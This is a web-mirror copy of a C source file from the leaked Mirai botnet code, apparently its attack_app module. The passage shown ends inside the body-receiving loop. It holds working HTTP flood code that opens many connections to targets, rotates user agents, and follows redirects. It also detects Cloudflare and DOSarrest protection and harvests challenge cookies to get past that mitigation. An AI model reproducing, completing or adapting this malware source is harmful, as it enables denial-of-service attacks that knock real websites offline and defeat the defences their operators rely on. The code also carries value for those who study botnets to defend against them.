mirror of
https://github.com/jgamblin/Mirai-Source-Code
synced 2025-05-16 06:14:10 +00:00
1176 lines
47 KiB
C
Executable File
1176 lines
47 KiB
C
Executable File
#define _GNU_SOURCE
|
|
|
|
#ifdef DEBUG
|
|
#include <stdio.h>
|
|
#endif
|
|
#include <stdlib.h>
|
|
#include <unistd.h>
|
|
#include <sys/socket.h>
|
|
#include <sys/select.h>
|
|
#include <errno.h>
|
|
#include <string.h>
|
|
#include <fcntl.h>
|
|
|
|
#include "includes.h"
|
|
#include "attack.h"
|
|
#include "rand.h"
|
|
#include "table.h"
|
|
#include "util.h"
|
|
|
|
void attack_app_proxy(uint8_t targs_len, struct attack_target *targs, uint8_t opts_len, struct attack_option *opts)
|
|
{
|
|
|
|
}
|
|
|
|
|
|
void attack_app_http(uint8_t targs_len, struct attack_target *targs, uint8_t opts_len, struct attack_option *opts)
|
|
{
|
|
int i, ii, rfd, ret = 0;
|
|
struct attack_http_state *http_table = NULL;
|
|
char *postdata = attack_get_opt_str(opts_len, opts, ATK_OPT_POST_DATA, NULL);
|
|
char *method = attack_get_opt_str(opts_len, opts, ATK_OPT_METHOD, "GET");
|
|
char *domain = attack_get_opt_str(opts_len, opts, ATK_OPT_DOMAIN, NULL);
|
|
char *path = attack_get_opt_str(opts_len, opts, ATK_OPT_PATH, "/");
|
|
int sockets = attack_get_opt_int(opts_len, opts, ATK_OPT_CONNS, 1);
|
|
port_t dport = attack_get_opt_int(opts_len, opts, ATK_OPT_DPORT, 80);
|
|
|
|
char generic_memes[10241] = {0};
|
|
|
|
if (domain == NULL || path == NULL)
|
|
return;
|
|
|
|
if (util_strlen(path) > HTTP_PATH_MAX - 1)
|
|
return;
|
|
|
|
if (util_strlen(domain) > HTTP_DOMAIN_MAX - 1)
|
|
return;
|
|
|
|
if (util_strlen(method) > 9)
|
|
return;
|
|
|
|
// BUT BRAH WHAT IF METHOD IS THE DEFAULT VALUE WONT IT SEGFAULT CAUSE READ ONLY STRING?
|
|
// yes it would segfault but we only update the values if they are not already uppercase.
|
|
// if the method is lowercase and its passed from the CNC we can update that memory no problem
|
|
for (ii = 0; ii < util_strlen(method); ii++)
|
|
if (method[ii] >= 'a' && method[ii] <= 'z')
|
|
method[ii] -= 32;
|
|
|
|
if (sockets > HTTP_CONNECTION_MAX)
|
|
sockets = HTTP_CONNECTION_MAX;
|
|
|
|
// unlock frequently used strings
|
|
table_unlock_val(TABLE_ATK_SET_COOKIE);
|
|
table_unlock_val(TABLE_ATK_REFRESH_HDR);
|
|
table_unlock_val(TABLE_ATK_LOCATION_HDR);
|
|
table_unlock_val(TABLE_ATK_SET_COOKIE_HDR);
|
|
table_unlock_val(TABLE_ATK_CONTENT_LENGTH_HDR);
|
|
table_unlock_val(TABLE_ATK_TRANSFER_ENCODING_HDR);
|
|
table_unlock_val(TABLE_ATK_CHUNKED);
|
|
table_unlock_val(TABLE_ATK_KEEP_ALIVE_HDR);
|
|
table_unlock_val(TABLE_ATK_CONNECTION_HDR);
|
|
table_unlock_val(TABLE_ATK_DOSARREST);
|
|
table_unlock_val(TABLE_ATK_CLOUDFLARE_NGINX);
|
|
|
|
http_table = calloc(sockets, sizeof(struct attack_http_state));
|
|
|
|
for (i = 0; i < sockets; i++)
|
|
{
|
|
http_table[i].state = HTTP_CONN_INIT;
|
|
http_table[i].fd = -1;
|
|
http_table[i].dst_addr = targs[i % targs_len].addr;
|
|
|
|
util_strcpy(http_table[i].path, path);
|
|
|
|
if (http_table[i].path[0] != '/')
|
|
{
|
|
memmove(http_table[i].path + 1, http_table[i].path, util_strlen(http_table[i].path));
|
|
http_table[i].path[0] = '/';
|
|
}
|
|
|
|
util_strcpy(http_table[i].orig_method, method);
|
|
util_strcpy(http_table[i].method, method);
|
|
|
|
util_strcpy(http_table[i].domain, domain);
|
|
|
|
if (targs[i % targs_len].netmask < 32)
|
|
http_table[i].dst_addr = htonl(ntohl(targs[i % targs_len].addr) + (((uint32_t)rand_next()) >> targs[i % targs_len].netmask));
|
|
|
|
switch(rand_next() % 5)
|
|
{
|
|
case 0:
|
|
table_unlock_val(TABLE_HTTP_ONE);
|
|
util_strcpy(http_table[i].user_agent, table_retrieve_val(TABLE_HTTP_ONE, NULL));
|
|
table_lock_val(TABLE_HTTP_ONE);
|
|
break;
|
|
case 1:
|
|
table_unlock_val(TABLE_HTTP_TWO);
|
|
util_strcpy(http_table[i].user_agent, table_retrieve_val(TABLE_HTTP_TWO, NULL));
|
|
table_lock_val(TABLE_HTTP_TWO);
|
|
break;
|
|
case 2:
|
|
table_unlock_val(TABLE_HTTP_THREE);
|
|
util_strcpy(http_table[i].user_agent, table_retrieve_val(TABLE_HTTP_THREE, NULL));
|
|
table_lock_val(TABLE_HTTP_THREE);
|
|
break;
|
|
case 3:
|
|
table_unlock_val(TABLE_HTTP_FOUR);
|
|
util_strcpy(http_table[i].user_agent, table_retrieve_val(TABLE_HTTP_FOUR, NULL));
|
|
table_lock_val(TABLE_HTTP_FOUR);
|
|
break;
|
|
case 4:
|
|
table_unlock_val(TABLE_HTTP_FIVE);
|
|
util_strcpy(http_table[i].user_agent, table_retrieve_val(TABLE_HTTP_FIVE, NULL));
|
|
table_lock_val(TABLE_HTTP_FIVE);
|
|
break;
|
|
}
|
|
|
|
util_strcpy(http_table[i].path, path);
|
|
}
|
|
|
|
while(TRUE)
|
|
{
|
|
fd_set fdset_rd, fdset_wr;
|
|
int mfd = 0, nfds;
|
|
struct timeval tim;
|
|
struct attack_http_state *conn;
|
|
uint32_t fake_time = time(NULL);
|
|
|
|
FD_ZERO(&fdset_rd);
|
|
FD_ZERO(&fdset_wr);
|
|
|
|
for (i = 0; i < sockets; i++)
|
|
{
|
|
conn = &(http_table[i]);
|
|
|
|
if (conn->state == HTTP_CONN_RESTART)
|
|
{
|
|
if (conn->keepalive)
|
|
conn->state = HTTP_CONN_SEND;
|
|
else
|
|
conn->state = HTTP_CONN_INIT;
|
|
}
|
|
|
|
if (conn->state == HTTP_CONN_INIT)
|
|
{
|
|
struct sockaddr_in addr = {0};
|
|
|
|
if (conn->fd != -1)
|
|
close(conn->fd);
|
|
if ((conn->fd = socket(AF_INET, SOCK_STREAM, 0)) == -1)
|
|
continue;
|
|
|
|
fcntl(conn->fd, F_SETFL, O_NONBLOCK | fcntl(conn->fd, F_GETFL, 0));
|
|
|
|
ii = 65535;
|
|
setsockopt(conn->fd, 0, SO_RCVBUF, &ii ,sizeof(int));
|
|
|
|
addr.sin_family = AF_INET;
|
|
addr.sin_addr.s_addr = conn->dst_addr;
|
|
addr.sin_port = htons(dport);
|
|
|
|
conn->last_recv = fake_time;
|
|
conn->state = HTTP_CONN_CONNECTING;
|
|
connect(conn->fd, (struct sockaddr *)&addr, sizeof (struct sockaddr_in));
|
|
#ifdef DEBUG
|
|
printf("[http flood] fd%d started connect\n", conn->fd);
|
|
#endif
|
|
|
|
FD_SET(conn->fd, &fdset_wr);
|
|
if (conn->fd > mfd)
|
|
mfd = conn->fd + 1;
|
|
}
|
|
else if (conn->state == HTTP_CONN_CONNECTING)
|
|
{
|
|
if (fake_time - conn->last_recv > 30)
|
|
{
|
|
conn->state = HTTP_CONN_INIT;
|
|
close(conn->fd);
|
|
conn->fd = -1;
|
|
continue;
|
|
}
|
|
|
|
FD_SET(conn->fd, &fdset_wr);
|
|
if (conn->fd > mfd)
|
|
mfd = conn->fd + 1;
|
|
}
|
|
else if (conn->state == HTTP_CONN_SEND)
|
|
{
|
|
conn->content_length = -1;
|
|
conn->protection_type = 0;
|
|
util_zero(conn->rdbuf, HTTP_RDBUF_SIZE);
|
|
conn->rdbuf_pos = 0;
|
|
|
|
#ifdef DEBUG
|
|
//printf("[http flood] Sending http request\n");
|
|
#endif
|
|
|
|
char buf[10240];
|
|
util_zero(buf, 10240);
|
|
|
|
util_strcpy(buf + util_strlen(buf), conn->method);
|
|
util_strcpy(buf + util_strlen(buf), " ");
|
|
util_strcpy(buf + util_strlen(buf), conn->path);
|
|
util_strcpy(buf + util_strlen(buf), " HTTP/1.1\r\nUser-Agent: ");
|
|
util_strcpy(buf + util_strlen(buf), conn->user_agent);
|
|
util_strcpy(buf + util_strlen(buf), "\r\nHost: ");
|
|
util_strcpy(buf + util_strlen(buf), conn->domain);
|
|
util_strcpy(buf + util_strlen(buf), "\r\n");
|
|
|
|
table_unlock_val(TABLE_ATK_KEEP_ALIVE);
|
|
util_strcpy(buf + util_strlen(buf), table_retrieve_val(TABLE_ATK_KEEP_ALIVE, NULL));
|
|
table_lock_val(TABLE_ATK_KEEP_ALIVE);
|
|
util_strcpy(buf + util_strlen(buf), "\r\n");
|
|
|
|
table_unlock_val(TABLE_ATK_ACCEPT);
|
|
util_strcpy(buf + util_strlen(buf), table_retrieve_val(TABLE_ATK_ACCEPT, NULL));
|
|
table_lock_val(TABLE_ATK_ACCEPT);
|
|
util_strcpy(buf + util_strlen(buf), "\r\n");
|
|
|
|
table_unlock_val(TABLE_ATK_ACCEPT_LNG);
|
|
util_strcpy(buf + util_strlen(buf), table_retrieve_val(TABLE_ATK_ACCEPT_LNG, NULL));
|
|
table_lock_val(TABLE_ATK_ACCEPT_LNG);
|
|
util_strcpy(buf + util_strlen(buf), "\r\n");
|
|
|
|
if (postdata != NULL)
|
|
{
|
|
table_unlock_val(TABLE_ATK_CONTENT_TYPE);
|
|
util_strcpy(buf + util_strlen(buf), table_retrieve_val(TABLE_ATK_CONTENT_TYPE, NULL));
|
|
table_lock_val(TABLE_ATK_CONTENT_TYPE);
|
|
|
|
util_strcpy(buf + util_strlen(buf), "\r\n");
|
|
util_strcpy(buf + util_strlen(buf), table_retrieve_val(TABLE_ATK_CONTENT_LENGTH_HDR, NULL));
|
|
util_strcpy(buf + util_strlen(buf), " ");
|
|
util_itoa(util_strlen(postdata), 10, buf + util_strlen(buf));
|
|
util_strcpy(buf + util_strlen(buf), "\r\n");
|
|
}
|
|
|
|
if (conn->num_cookies > 0)
|
|
{
|
|
util_strcpy(buf + util_strlen(buf), "Cookie: ");
|
|
for (ii = 0; ii < conn->num_cookies; ii++)
|
|
{
|
|
util_strcpy(buf + util_strlen(buf), conn->cookies[ii]);
|
|
util_strcpy(buf + util_strlen(buf), "; ");
|
|
}
|
|
util_strcpy(buf + util_strlen(buf), "\r\n");
|
|
}
|
|
|
|
util_strcpy(buf + util_strlen(buf), "\r\n");
|
|
|
|
if (postdata != NULL)
|
|
util_strcpy(buf + util_strlen(buf), postdata);
|
|
|
|
if (!util_strcmp(conn->method, conn->orig_method))
|
|
util_strcpy(conn->method, conn->orig_method);
|
|
|
|
#ifdef DEBUG
|
|
if (sockets == 1)
|
|
{
|
|
printf("sending buf: \"%s\"\n", buf);
|
|
}
|
|
#endif
|
|
|
|
send(conn->fd, buf, util_strlen(buf), MSG_NOSIGNAL);
|
|
conn->last_send = fake_time;
|
|
|
|
conn->state = HTTP_CONN_RECV_HEADER;
|
|
FD_SET(conn->fd, &fdset_rd);
|
|
if (conn->fd > mfd)
|
|
mfd = conn->fd + 1;
|
|
}
|
|
else if (conn->state == HTTP_CONN_RECV_HEADER)
|
|
{
|
|
FD_SET(conn->fd, &fdset_rd);
|
|
if (conn->fd > mfd)
|
|
mfd = conn->fd + 1;
|
|
}
|
|
else if (conn->state == HTTP_CONN_RECV_BODY)
|
|
{
|
|
FD_SET(conn->fd, &fdset_rd);
|
|
if (conn->fd > mfd)
|
|
mfd = conn->fd + 1;
|
|
}
|
|
else if (conn->state == HTTP_CONN_QUEUE_RESTART)
|
|
{
|
|
FD_SET(conn->fd, &fdset_rd);
|
|
if (conn->fd > mfd)
|
|
mfd = conn->fd + 1;
|
|
}
|
|
else if (conn->state == HTTP_CONN_CLOSED)
|
|
{
|
|
conn->state = HTTP_CONN_INIT;
|
|
close(conn->fd);
|
|
conn->fd = -1;
|
|
}
|
|
else
|
|
{
|
|
// NEW STATE WHO DIS
|
|
conn->state = HTTP_CONN_INIT;
|
|
close(conn->fd);
|
|
conn->fd = -1;
|
|
}
|
|
}
|
|
|
|
if (mfd == 0)
|
|
continue;
|
|
|
|
tim.tv_usec = 0;
|
|
tim.tv_sec = 1;
|
|
nfds = select(mfd, &fdset_rd, &fdset_wr, NULL, &tim);
|
|
fake_time = time(NULL);
|
|
|
|
if (nfds < 1)
|
|
continue;
|
|
|
|
for (i = 0; i < sockets; i++)
|
|
{
|
|
conn = &(http_table[i]);
|
|
|
|
if (conn->fd == -1)
|
|
continue;
|
|
|
|
if (FD_ISSET(conn->fd, &fdset_wr))
|
|
{
|
|
int err = 0;
|
|
socklen_t err_len = sizeof (err);
|
|
|
|
ret = getsockopt(conn->fd, SOL_SOCKET, SO_ERROR, &err, &err_len);
|
|
if (err == 0 && ret == 0)
|
|
{
|
|
#ifdef DEBUG
|
|
printf("[http flood] FD%d connected.\n", conn->fd);
|
|
#endif
|
|
conn->state = HTTP_CONN_SEND;
|
|
}
|
|
else
|
|
{
|
|
#ifdef DEBUG
|
|
printf("[http flood] FD%d error while connecting = %d\n", conn->fd, err);
|
|
#endif
|
|
close(conn->fd);
|
|
conn->fd = -1;
|
|
conn->state = HTTP_CONN_INIT;
|
|
continue;
|
|
}
|
|
}
|
|
|
|
if (FD_ISSET(conn->fd, &fdset_rd))
|
|
{
|
|
if (conn->state == HTTP_CONN_RECV_HEADER)
|
|
{
|
|
int processed = 0;
|
|
|
|
util_zero(generic_memes, 10240);
|
|
if ((ret = recv(conn->fd, generic_memes, 10240, MSG_NOSIGNAL | MSG_PEEK)) < 1)
|
|
{
|
|
close(conn->fd);
|
|
conn->fd = -1;
|
|
conn->state = HTTP_CONN_INIT;
|
|
continue;
|
|
}
|
|
|
|
|
|
// we want to process a full http header (^:
|
|
if (util_memsearch(generic_memes, ret, "\r\n\r\n", 4) == -1 && ret < 10240)
|
|
continue;
|
|
|
|
generic_memes[util_memsearch(generic_memes, ret, "\r\n\r\n", 4)] = 0;
|
|
|
|
#ifdef DEBUG
|
|
if (sockets == 1)
|
|
printf("[http flood] headers: \"%s\"\n", generic_memes);
|
|
#endif
|
|
|
|
if (util_stristr(generic_memes, ret, table_retrieve_val(TABLE_ATK_CLOUDFLARE_NGINX, NULL)) != -1)
|
|
conn->protection_type = HTTP_PROT_CLOUDFLARE;
|
|
|
|
if (util_stristr(generic_memes, ret, table_retrieve_val(TABLE_ATK_DOSARREST, NULL)) != -1)
|
|
conn->protection_type = HTTP_PROT_DOSARREST;
|
|
|
|
conn->keepalive = 0;
|
|
if (util_stristr(generic_memes, ret, table_retrieve_val(TABLE_ATK_CONNECTION_HDR, NULL)) != -1)
|
|
{
|
|
int offset = util_stristr(generic_memes, ret, table_retrieve_val(TABLE_ATK_CONNECTION_HDR, NULL));
|
|
if (generic_memes[offset] == ' ')
|
|
offset++;
|
|
|
|
int nl_off = util_memsearch(generic_memes + offset, ret - offset, "\r\n", 2);
|
|
if (nl_off != -1)
|
|
{
|
|
char *con_ptr = &(generic_memes[offset]);
|
|
|
|
if (nl_off >= 2)
|
|
nl_off -= 2;
|
|
generic_memes[offset + nl_off] = 0;
|
|
|
|
if (util_stristr(con_ptr, util_strlen(con_ptr), table_retrieve_val(TABLE_ATK_KEEP_ALIVE_HDR, NULL)))
|
|
conn->keepalive = 1;
|
|
}
|
|
}
|
|
|
|
conn->chunked = 0;
|
|
if (util_stristr(generic_memes, ret, table_retrieve_val(TABLE_ATK_TRANSFER_ENCODING_HDR, NULL)) != -1)
|
|
{
|
|
int offset = util_stristr(generic_memes, ret, table_retrieve_val(TABLE_ATK_TRANSFER_ENCODING_HDR, NULL));
|
|
if (generic_memes[offset] == ' ')
|
|
offset++;
|
|
|
|
int nl_off = util_memsearch(generic_memes + offset, ret - offset, "\r\n", 2);
|
|
if (nl_off != -1)
|
|
{
|
|
char *con_ptr = &(generic_memes[offset]);
|
|
|
|
if (nl_off >= 2)
|
|
nl_off -= 2;
|
|
generic_memes[offset + nl_off] = 0;
|
|
|
|
if (util_stristr(con_ptr, util_strlen(con_ptr), table_retrieve_val(TABLE_ATK_CHUNKED, NULL)))
|
|
conn->chunked = 1;
|
|
}
|
|
}
|
|
|
|
if (util_stristr(generic_memes, ret, table_retrieve_val(TABLE_ATK_CONTENT_LENGTH_HDR, NULL)) != -1)
|
|
{
|
|
int offset = util_stristr(generic_memes, ret, table_retrieve_val(TABLE_ATK_CONTENT_LENGTH_HDR, NULL));
|
|
if (generic_memes[offset] == ' ')
|
|
offset++;
|
|
|
|
int nl_off = util_memsearch(generic_memes + offset, ret - offset, "\r\n", 2);
|
|
if (nl_off != -1)
|
|
{
|
|
char *len_ptr = &(generic_memes[offset]);
|
|
|
|
if (nl_off >= 2)
|
|
nl_off -= 2;
|
|
generic_memes[offset + nl_off] = 0;
|
|
|
|
conn->content_length = util_atoi(len_ptr, 10);
|
|
}
|
|
} else {
|
|
conn->content_length = 0;
|
|
}
|
|
|
|
processed = 0;
|
|
while (util_stristr(generic_memes + processed, ret, table_retrieve_val(TABLE_ATK_SET_COOKIE_HDR, NULL)) != -1 && conn->num_cookies < HTTP_COOKIE_MAX)
|
|
{
|
|
int offset = util_stristr(generic_memes + processed, ret, table_retrieve_val(TABLE_ATK_SET_COOKIE_HDR, NULL));
|
|
if (generic_memes[processed + offset] == ' ')
|
|
offset++;
|
|
|
|
int nl_off = util_memsearch(generic_memes + processed + offset, ret - processed - offset, "\r\n", 2);
|
|
if (nl_off != -1)
|
|
{
|
|
char *cookie_ptr = &(generic_memes[processed + offset]);
|
|
|
|
if (nl_off >= 2)
|
|
nl_off -= 2;
|
|
|
|
if (util_memsearch(generic_memes + processed + offset, ret - processed - offset, ";", 1) > 0)
|
|
nl_off = util_memsearch(generic_memes + processed + offset, ret - processed - offset, ";", 1) - 1;
|
|
|
|
generic_memes[processed + offset + nl_off] = 0;
|
|
|
|
for (ii = 0; ii < util_strlen(cookie_ptr); ii++)
|
|
if (cookie_ptr[ii] == '=')
|
|
break;
|
|
|
|
if (cookie_ptr[ii] == '=')
|
|
{
|
|
int equal_off = ii, cookie_exists = FALSE;
|
|
|
|
for (ii = 0; ii < conn->num_cookies; ii++)
|
|
if (util_strncmp(cookie_ptr, conn->cookies[ii], equal_off))
|
|
{
|
|
cookie_exists = TRUE;
|
|
break;
|
|
}
|
|
|
|
if (!cookie_exists)
|
|
{
|
|
if (util_strlen(cookie_ptr) < HTTP_COOKIE_LEN_MAX)
|
|
{
|
|
util_strcpy(conn->cookies[conn->num_cookies], cookie_ptr);
|
|
conn->num_cookies++;
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
processed += offset;
|
|
}
|
|
|
|
// this will still work as previous handlers will only add in null chars or similar
|
|
// and we specify the size of the string to stristr
|
|
if (util_stristr(generic_memes, ret, table_retrieve_val(TABLE_ATK_LOCATION_HDR, NULL)) != -1)
|
|
{
|
|
int offset = util_stristr(generic_memes, ret, table_retrieve_val(TABLE_ATK_LOCATION_HDR, NULL));
|
|
if (generic_memes[offset] == ' ')
|
|
offset++;
|
|
|
|
int nl_off = util_memsearch(generic_memes + offset, ret - offset, "\r\n", 2);
|
|
if (nl_off != -1)
|
|
{
|
|
char *loc_ptr = &(generic_memes[offset]);
|
|
|
|
if (nl_off >= 2)
|
|
nl_off -= 2;
|
|
generic_memes[offset + nl_off] = 0;
|
|
|
|
//increment it one so that it is length of the string excluding null char instead of 0-based offset
|
|
nl_off++;
|
|
|
|
if (util_memsearch(loc_ptr, nl_off, "http", 4) == 4)
|
|
{
|
|
//this is an absolute url, domain name change maybe?
|
|
ii = 7;
|
|
//http(s)
|
|
if (loc_ptr[4] == 's')
|
|
ii++;
|
|
|
|
memmove(loc_ptr, loc_ptr + ii, nl_off - ii);
|
|
ii = 0;
|
|
while (loc_ptr[ii] != 0)
|
|
{
|
|
if (loc_ptr[ii] == '/')
|
|
{
|
|
loc_ptr[ii] = 0;
|
|
break;
|
|
}
|
|
ii++;
|
|
}
|
|
|
|
// domain: loc_ptr;
|
|
// path: &(loc_ptr[ii + 1]);
|
|
|
|
if (util_strlen(loc_ptr) > 0 && util_strlen(loc_ptr) < HTTP_DOMAIN_MAX)
|
|
util_strcpy(conn->domain, loc_ptr);
|
|
|
|
if (util_strlen(&(loc_ptr[ii + 1])) < HTTP_PATH_MAX)
|
|
{
|
|
util_zero(conn->path + 1, HTTP_PATH_MAX - 1);
|
|
if (util_strlen(&(loc_ptr[ii + 1])) > 0)
|
|
util_strcpy(conn->path + 1, &(loc_ptr[ii + 1]));
|
|
}
|
|
}
|
|
else if (loc_ptr[0] == '/')
|
|
{
|
|
//handle relative url
|
|
util_zero(conn->path + 1, HTTP_PATH_MAX - 1);
|
|
if (util_strlen(&(loc_ptr[ii + 1])) > 0 && util_strlen(&(loc_ptr[ii + 1])) < HTTP_PATH_MAX)
|
|
util_strcpy(conn->path + 1, &(loc_ptr[ii + 1]));
|
|
}
|
|
|
|
conn->state = HTTP_CONN_RESTART;
|
|
continue;
|
|
}
|
|
}
|
|
|
|
if (util_stristr(generic_memes, ret, table_retrieve_val(TABLE_ATK_REFRESH_HDR, NULL)) != -1)
|
|
{
|
|
int offset = util_stristr(generic_memes, ret, table_retrieve_val(TABLE_ATK_REFRESH_HDR, NULL));
|
|
if (generic_memes[offset] == ' ')
|
|
offset++;
|
|
|
|
int nl_off = util_memsearch(generic_memes + offset, ret - offset, "\r\n", 2);
|
|
if (nl_off != -1)
|
|
{
|
|
char *loc_ptr = &(generic_memes[offset]);
|
|
|
|
if (nl_off >= 2)
|
|
nl_off -= 2;
|
|
generic_memes[offset + nl_off] = 0;
|
|
|
|
//increment it one so that it is length of the string excluding null char instead of 0-based offset
|
|
nl_off++;
|
|
|
|
ii = 0;
|
|
|
|
while (loc_ptr[ii] != 0 && loc_ptr[ii] >= '0' && loc_ptr[ii] <= '9')
|
|
ii++;
|
|
|
|
if (loc_ptr[ii] != 0)
|
|
{
|
|
int wait_time = 0;
|
|
loc_ptr[ii] = 0;
|
|
ii++;
|
|
|
|
if (loc_ptr[ii] == ' ')
|
|
ii++;
|
|
|
|
if (util_stristr(&(loc_ptr[ii]), util_strlen(&(loc_ptr[ii])), "url=") != -1)
|
|
ii += util_stristr(&(loc_ptr[ii]), util_strlen(&(loc_ptr[ii])), "url=");
|
|
|
|
if (loc_ptr[ii] == '"')
|
|
{
|
|
ii++;
|
|
|
|
//yes its ugly, but i dont care
|
|
if ((&(loc_ptr[ii]))[util_strlen(&(loc_ptr[ii])) - 1] == '"')
|
|
(&(loc_ptr[ii]))[util_strlen(&(loc_ptr[ii])) - 1] = 0;
|
|
}
|
|
|
|
wait_time = util_atoi(loc_ptr, 10);
|
|
|
|
//YOLO LOL
|
|
while (wait_time > 0 && wait_time < 10 && fake_time + wait_time > time(NULL))
|
|
sleep(1);
|
|
|
|
loc_ptr = &(loc_ptr[ii]);
|
|
|
|
|
|
if (util_stristr(loc_ptr, util_strlen(loc_ptr), "http") == 4)
|
|
{
|
|
//this is an absolute url, domain name change maybe?
|
|
ii = 7;
|
|
//http(s)
|
|
if (loc_ptr[4] == 's')
|
|
ii++;
|
|
|
|
memmove(loc_ptr, loc_ptr + ii, nl_off - ii);
|
|
ii = 0;
|
|
while (loc_ptr[ii] != 0)
|
|
{
|
|
if (loc_ptr[ii] == '/')
|
|
{
|
|
loc_ptr[ii] = 0;
|
|
break;
|
|
}
|
|
ii++;
|
|
}
|
|
|
|
// domain: loc_ptr;
|
|
// path: &(loc_ptr[ii + 1]);
|
|
|
|
if (util_strlen(loc_ptr) > 0 && util_strlen(loc_ptr) < HTTP_DOMAIN_MAX)
|
|
util_strcpy(conn->domain, loc_ptr);
|
|
|
|
if (util_strlen(&(loc_ptr[ii + 1])) < HTTP_PATH_MAX)
|
|
{
|
|
util_zero(conn->path + 1, HTTP_PATH_MAX - 1);
|
|
if (util_strlen(&(loc_ptr[ii + 1])) > 0)
|
|
util_strcpy(conn->path + 1, &(loc_ptr[ii + 1]));
|
|
}
|
|
}
|
|
else if (loc_ptr[0] == '/')
|
|
{
|
|
//handle relative url
|
|
if (util_strlen(&(loc_ptr[ii + 1])) < HTTP_PATH_MAX)
|
|
{
|
|
util_zero(conn->path + 1, HTTP_PATH_MAX - 1);
|
|
if (util_strlen(&(loc_ptr[ii + 1])) > 0)
|
|
util_strcpy(conn->path + 1, &(loc_ptr[ii + 1]));
|
|
}
|
|
}
|
|
|
|
strcpy(conn->method, "GET");
|
|
// queue the state up for the next time
|
|
conn->state = HTTP_CONN_QUEUE_RESTART;
|
|
continue;
|
|
}
|
|
}
|
|
}
|
|
|
|
// actually pull the content from the buffer that we processed via MSG_PEEK
|
|
processed = util_memsearch(generic_memes, ret, "\r\n\r\n", 4);
|
|
|
|
if (util_strcmp(conn->method, "POST") || util_strcmp(conn->method, "GET"))
|
|
conn->state = HTTP_CONN_RECV_BODY;
|
|
else if (ret > processed)
|
|
conn->state = HTTP_CONN_QUEUE_RESTART;
|
|
else
|
|
conn->state = HTTP_CONN_RESTART;
|
|
|
|
ret = recv(conn->fd, generic_memes, processed, MSG_NOSIGNAL);
|
|
} else if (conn->state == HTTP_CONN_RECV_BODY) {
|
|
while (TRUE)
|
|
{
|
|
// spooky doods changed state
|
|
if (conn->state != HTTP_CONN_RECV_BODY)
|
|
{
|
|
break;
|
|
}
|
|
|
|
if (conn->rdbuf_pos == HTTP_RDBUF_SIZE)
|
|
{
|
|
memmove(conn->rdbuf, conn->rdbuf + HTTP_HACK_DRAIN, HTTP_RDBUF_SIZE - HTTP_HACK_DRAIN);
|
|
conn->rdbuf_pos -= HTTP_HACK_DRAIN;
|
|
}
|
|
errno = 0;
|
|
ret = recv(conn->fd, conn->rdbuf + conn->rdbuf_pos, HTTP_RDBUF_SIZE - conn->rdbuf_pos, MSG_NOSIGNAL);
|
|
if (ret == 0)
|
|
{
|
|
#ifdef DEBUG
|
|
printf("[http flood] FD%d connection gracefully closed\n", conn->fd);
|
|
#endif
|
|
errno = ECONNRESET;
|
|
ret = -1; // Fall through to closing connection below
|
|
}
|
|
if (ret == -1)
|
|
{
|
|
if (errno != EAGAIN && errno != EWOULDBLOCK)
|
|
{
|
|
#ifdef DEBUG
|
|
printf("[http flood] FD%d lost connection\n", conn->fd);
|
|
#endif
|
|
close(conn->fd);
|
|
conn->fd = -1;
|
|
conn->state = HTTP_CONN_INIT;
|
|
}
|
|
break;
|
|
}
|
|
|
|
conn->rdbuf_pos += ret;
|
|
conn->last_recv = fake_time;
|
|
|
|
while (TRUE)
|
|
{
|
|
int consumed = 0;
|
|
|
|
if (conn->content_length > 0)
|
|
{
|
|
|
|
consumed = conn->content_length > conn->rdbuf_pos ? conn->rdbuf_pos : conn->content_length;
|
|
conn->content_length -= consumed;
|
|
|
|
if (conn->protection_type == HTTP_PROT_DOSARREST)
|
|
{
|
|
// we specifically want this to be case sensitive
|
|
if (util_memsearch(conn->rdbuf, conn->rdbuf_pos, table_retrieve_val(TABLE_ATK_SET_COOKIE, NULL), 11) != -1)
|
|
{
|
|
int start_pos = util_memsearch(conn->rdbuf, conn->rdbuf_pos, table_retrieve_val(TABLE_ATK_SET_COOKIE, NULL), 11);
|
|
int end_pos = util_memsearch(&(conn->rdbuf[start_pos]), conn->rdbuf_pos - start_pos, "'", 1);
|
|
conn->rdbuf[start_pos + (end_pos - 1)] = 0;
|
|
|
|
if (conn->num_cookies < HTTP_COOKIE_MAX && util_strlen(&(conn->rdbuf[start_pos])) < HTTP_COOKIE_LEN_MAX)
|
|
{
|
|
util_strcpy(conn->cookies[conn->num_cookies], &(conn->rdbuf[start_pos]));
|
|
util_strcpy(conn->cookies[conn->num_cookies] + util_strlen(conn->cookies[conn->num_cookies]), "=");
|
|
|
|
start_pos += end_pos + 3;
|
|
end_pos = util_memsearch(&(conn->rdbuf[start_pos]), conn->rdbuf_pos - start_pos, "'", 1);
|
|
conn->rdbuf[start_pos + (end_pos - 1)] = 0;
|
|
|
|
util_strcpy(conn->cookies[conn->num_cookies] + util_strlen(conn->cookies[conn->num_cookies]), &(conn->rdbuf[start_pos]));
|
|
conn->num_cookies++;
|
|
}
|
|
|
|
conn->content_length = -1;
|
|
conn->state = HTTP_CONN_QUEUE_RESTART;
|
|
break;
|
|
}
|
|
}
|
|
}
|
|
|
|
if (conn->content_length == 0)
|
|
{
|
|
if (conn->chunked == 1)
|
|
{
|
|
if (util_memsearch(conn->rdbuf, conn->rdbuf_pos, "\r\n", 2) != -1)
|
|
{
|
|
int new_line_pos = util_memsearch(conn->rdbuf, conn->rdbuf_pos, "\r\n", 2);
|
|
conn->rdbuf[new_line_pos - 2] = 0;
|
|
if (util_memsearch(conn->rdbuf, new_line_pos, ";", 1) != -1)
|
|
conn->rdbuf[util_memsearch(conn->rdbuf, new_line_pos, ";", 1)] = 0;
|
|
|
|
int chunklen = util_atoi(conn->rdbuf, 16);
|
|
|
|
if (chunklen == 0)
|
|
{
|
|
conn->state = HTTP_CONN_RESTART;
|
|
break;
|
|
}
|
|
|
|
conn->content_length = chunklen + 2;
|
|
consumed = new_line_pos;
|
|
}
|
|
} else {
|
|
// get rid of any extra in the buf before we move on...
|
|
conn->content_length = conn->rdbuf_pos - consumed;
|
|
if (conn->content_length == 0)
|
|
{
|
|
conn->state = HTTP_CONN_RESTART;
|
|
break;
|
|
}
|
|
}
|
|
}
|
|
|
|
if (consumed == 0)
|
|
break;
|
|
else
|
|
{
|
|
conn->rdbuf_pos -= consumed;
|
|
memmove(conn->rdbuf, conn->rdbuf + consumed, conn->rdbuf_pos);
|
|
conn->rdbuf[conn->rdbuf_pos] = 0;
|
|
|
|
if (conn->rdbuf_pos == 0)
|
|
break;
|
|
}
|
|
}
|
|
}
|
|
